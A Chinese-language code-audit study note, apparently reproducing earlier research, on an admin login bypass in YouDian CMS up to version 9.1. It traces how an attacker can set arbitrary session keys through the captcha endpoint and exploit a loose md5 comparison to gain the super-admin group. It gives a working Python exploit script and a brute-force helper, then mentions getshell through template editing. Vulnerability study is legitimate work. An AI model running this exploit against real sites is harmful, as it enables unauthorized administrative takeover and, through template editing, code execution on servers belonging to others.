- PHP代碼審計,由於自己太菜啦,就先復現前輩們的文章來學習吧,參考下列文章。
- https://forum.butian.net/share/132
- 友點CMS后台登錄繞過GetShell,版本要求<=9.1
后台登錄繞過
- 驗證碼可設置session
- session(AdminGroupID==1)超級管理員
- 后台模板修改代碼執行
后台登錄判斷
- App/Lib/Action/AdminBaseAction.class.php
- 主要是isLogin()和checkPurview()這兩個函數
if( !$this->isLogin() && !in_array($mName, $NoCheckAction)){ //沒有登錄,將返回登錄頁面
$this->redirect("Public/login");
}
if( !$this->checkPurview() ){ //沒有登錄,將返回網站首頁
$this->redirect("Public/welcome");
}
- 先跟進isLogin函數,發現只對session進行了校驗,跟進session函數App/core/Common/functions.php,發現這是檢查session,只要不為空即可。
function isLogin(){
$b = session("?AdminID") && session("?AdminName");
return $b;
}
- 回到App/Lib/Action/AdminBaseAction.class.php
- 再再跟進checkPurview函數,進入session函數發現發現這只是獲取session值。然后這里是個弱比較,因此可能被繞過。那么就是管理員權限。
function checkPurview(){
$gid = session('AdminGroupID');
if( $gid == 1 ) return true; //超級管理員擁有所有權限
......
}
session設置
-
App/Lib/Action/BaseAction.class.php
-
獲取驗證碼參數可控,訪問方式為http://127.0.0.1/index.php/base?a=verifycode&verify=
//獲取校驗碼
function verifyCode(){
$length = $_GET['length']; //長度
$mode = $_GET['mode']; //模式
$type = $_GET['type']; //圖像類型
$width = $_GET['width']; //寬度
$height = $_GET['height']; //高度
$verifyName = $_GET['verify']; //驗證碼session名稱
import("ORG.Util.Image");
Image::buildImageVerify($length, $mode, $type, $width, $height, $verifyName);
}
- 繼續跟進buildImageVerify函數,發現能夠控制session的鍵名,值則是對產生的字符進行md5加密,不可控。
static function buildImageVerify($length=4, $mode=1, $type='png', $width=48, $height=22, $verifyName='verify'){
import('ORG.Util.StringEx');
$randval = StringEx::randString($length, $mode);
$_SESSION[$verifyName] = md5($randval);
........
}
- 聯系后台登錄的權限校驗,結合我們可設置任意session鍵名,因此isLogin函數可直接被繞過。但是成為管理員,還需要研究。那么僅需跟進這個生成字符的函數randstring
static public function randString($len=6,$type='',$addChars='') {
$str ='';
switch($type) {
case 0:
$chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.$addChars;
break;
case 1:
$chars= str_repeat('0123456789',3);
break;
case 2:
$chars='ABCDEFGHIJKLMNOPQRSTUVWXYZ'.$addChars;
break;
case 3:
$chars='abcdefghijklmnopqrstuvwxyz'.$addChars;
break;
case 4:
$chars = "們以我到他會作時要動國產的一是工就年階義發成部民可出能方進在了不和有大這主中人上為來分生對於學下級地個用同行面說種過命度革而多子后自社加小機也經力線本電高量長黨得實家定深法表着水理化爭現所二起政三好十戰無農使性前等反體合斗路圖把結第里正新開論之物從當兩些還天資事隊批點育重其思與間內去因件日利相由壓員氣業代全組數果期導平各基或月毛然如應形想制心樣干都向變關問比展那它最及外沒看治提五解系林者米群頭意只明四道馬認次文通但條較克又公孔領軍流入接席位情運器並飛原油放立題質指建區驗活眾很教決特此常石強極土少已根共直團統式轉別造切九你取西持總料連任志觀調七么山程百報更見必真保熱委手改管處己將修支識病象幾先老光專什六型具示復安帶每東增則完風回南廣勞輪科北打積車計給節做務被整聯步類集號列溫裝即毫知軸研單色堅據速防史拉世設達爾場織歷花受求傳口斷況采精金界品判參層止邊清至萬確究書術狀廠須離再目海交權且兒青才證低越際八試規斯近注辦布門鐵需走議縣兵固除般引齒千勝細影濟白格效置推空配刀葉率述今選養德話查差半敵始片施響收華覺備名紅續均葯標記難存測士身緊液派准斤角降維板許破述技消底床田勢端感往神便賀村構照容非搞亞磨族火段算適講按值美態黃易彪服早班麥削信排台聲該擊素張密害侯草何樹肥繼右屬市嚴徑螺檢左頁抗蘇顯苦英快稱壞移約巴材省黑武培著河帝僅針怎植京助升王眼她抓含苗副雜普談圍食射源例致酸舊卻充足短划劑宣環落首尺波承粉踐府魚隨考刻靠夠滿夫失包住促枝局菌桿周護岩師舉曲春元超負砂封換太模貧減陽揚江析畝木言球朝醫校古呢稻宋聽唯輸滑站另衛字鼓剛寫劉微略范供阿塊某功套友限項余倒卷創律雨讓骨遠幫初皮播優占死毒圈偉季訓控激找叫雲互跟裂糧粒母練塞鋼頂策雙留誤礎吸阻故寸盾晚絲女散焊功株親院冷徹彈錯散商視藝滅版烈零室輕血倍缺厘泵察絕富城沖噴壤簡否柱李望盤磁雄似困鞏益洲脫投送奴側潤蓋揮距觸星松送獲興獨官混紀依未突架寬冬章濕偏紋吃執閥礦寨責熟穩奪硬價努翻奇甲預職評讀背協損棉侵灰雖矛厚羅泥辟告卵箱掌氧恩愛停曾溶營終綱孟錢待盡俄縮沙退陳討奮械載胞幼哪剝迫旋征槽倒握擔仍呀鮮吧卡粗介鑽逐弱腳怕鹽末陰豐霧冠丙街萊貝輻腸付吉滲瑞驚頓擠秒懸姆爛森糖聖凹陶詞遲蠶億矩康遵牧遭幅園腔訂香肉弟屋敏恢忘編印蜂急拿擴傷飛露核緣游振操央伍域甚迅輝異序免紙夜鄉久隸缸夾念蘭映溝乙嗎儒殺汽磷艱晶插埃燃歡鐵補咱芽永瓦傾陣碳演威附牙芽永瓦斜灌歐獻順豬洋腐請透司危括脈宜笑若尾束壯暴企菜穗楚漢愈綠拖牛份染既秋遍鍛玉夏療尖殖井費州訪吹榮銅沿替滾客召旱悟刺腦措貫藏敢令隙爐殼硫煤迎鑄粘探臨薄旬善福縱擇禮願伏殘雷延煙句純漸耕跑澤慢栽魯赤繁境潮橫掉錐希池敗船假亮謂托伙哲懷割擺貢呈勁財儀沉煉麻罪祖息車穿貨銷齊鼠抽畫飼龍庫守築房歌寒喜哥洗蝕廢納腹乎錄鏡婦惡脂庄擦險贊鍾搖典柄辯竹谷賣亂虛橋奧伯趕垂途額壁網截野遺靜謀弄掛課鎮妄盛耐援扎慮鍵歸符慶聚繞摩忙舞遇索顧膠羊湖釘仁音跡碎伸燈避泛亡答勇頻皇柳哈揭甘諾概憲濃島襲誰洪謝炮澆斑訊懂靈蛋閉孩釋乳巨徒私銀伊景坦累勻霉杜樂勒隔彎績招紹胡呼痛峰零柴簧午跳居尚丁秦稍追梁折耗鹼殊崗挖氏刃劇堆赫荷胸衡勤膜篇登駐案刊秧緩凸役剪川雪鏈漁啦臉戶洛孢勃盟買楊宗焦賽旗濾硅炭股坐蒸凝竟陷槍黎救冒暗洞犯筒您宋弧爆謬塗味津臂障褐陸啊健尊豆拔莫抵桑坡縫警挑污冰柬嘴啥飯塑寄趙喊墊丹渡耳刨虎筆稀昆浪薩茶滴淺擁穴覆倫娘噸浸袖珠雌媽紫戲塔錘震歲貌潔剖牢鋒疑霸閃埔猛訴刷狠忽災鬧喬唐漏聞沈熔氯荒莖男凡搶像漿旁玻亦忠唱蒙予紛捕鎖尤乘烏智淡允叛畜俘摸銹掃畢璃寶芯爺鑒秘凈蔣鈣肩騰枯拋軌堂拌爸循誘祝勵肯酒繩窮塘燥泡袋朗喂鋁軟渠顆慣貿糞綜牆趨彼屆墨礙啟逆卸航衣孫齡嶺騙休借".$addChars;
break;
default :
// 默認去掉了容易混淆的字符oOLl和數字01,要添加請使用addChars參數
$chars='ABCDEFGHIJKMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789'.$addChars;
break;
}
if($len>10 ) {//位數過長重復字符串一定次數
$chars= $type==1? str_repeat($chars,$len) : str_repeat($chars,5);
}
if($type!=4) {
$chars = str_shuffle($chars);
$str = substr($chars,0,$len);
}else{
// 中文隨機字
for($i=0;$i<$len;$i++){
$str.= self::msubstr($chars, floor(mt_rand(0,mb_strlen($chars,'utf-8')-1)),1,'utf-8',false);
}
}
return $str;
}
- 發現它是有多種不同的方式生成字符的,而我們需要的則是讓生成的字符md5加密后弱等於1,那么我們就是管理員權限了。這里我們可以手動測試哈。發現1-100中有19,24,35這三個數字md5加密后==1判斷成功。1-1000只有20個那么按概率來看在1-100中選更有可能命中。
<?php
$times = 0;
for($num=0;$num<10000000000;$num++) {
$gid = md5((string)$num);
if ($gid == 1 ) {
echo 'admin ';
echo $num.PHP_EOL;
$times += 1;
if($times>100) {
break;
exit();
}
}
}
- 再回到字符生成函數,我們只需要數字,因此我們需要type=1,然后再1-100中只有三個數字可以,且都為兩位數,因此需要截取的數字長度為2則len=2。而參數傳遞是buildImageVerify函數帶來的,而最終參數則是verifyCode帶來的,且可控,因此可繞過登錄。
Script
- 其他的phpsessid僅僅可登錄后台,但是不為管理員權限,OK上面的phpsessid則為管理員權限。
import requests
from time import sleep
def banner(domain):
print("-"*10 + "=<V9.1" + "-"*10)
VersionURL = domain + '/index.php/base?a=Version'
res_version = requests.get(VersionURL)
print("-"*11 + res_version.text + "-"*11)
def Session(req,domain):
URL = domain + '/index.php/base?a=verifycode&verify='
AdminURL = domain + '/index.php/Admin/Public/AdminLeft/MenuTopID/7'
payload_one = 'AdminID'
payload_two = 'AdminName'
payload_three = 'AdminGroupID&mode=1&length=2'
res_one = req.get(URL + payload_one).headers
if 'set-cookie' in res_one:
print(res_one['set-cookie'])
res_two = req.get(URL + payload_two).headers
# print(res_two)
res_three = req.get(URL + payload_three).headers
# print(res_three)
res_admin = req.get(AdminURL)
if '模板' in res_admin.text:
print('OK')
return True
if __name__ == '__main__':
domain = 'http://127.0.0.1/youdiancms'
banner(domain)
while True:
req = requests.session()
if Session(req,domain):
break
sleep(0.5)
后台模板GetShell
- 更改模板后再訪問首頁即可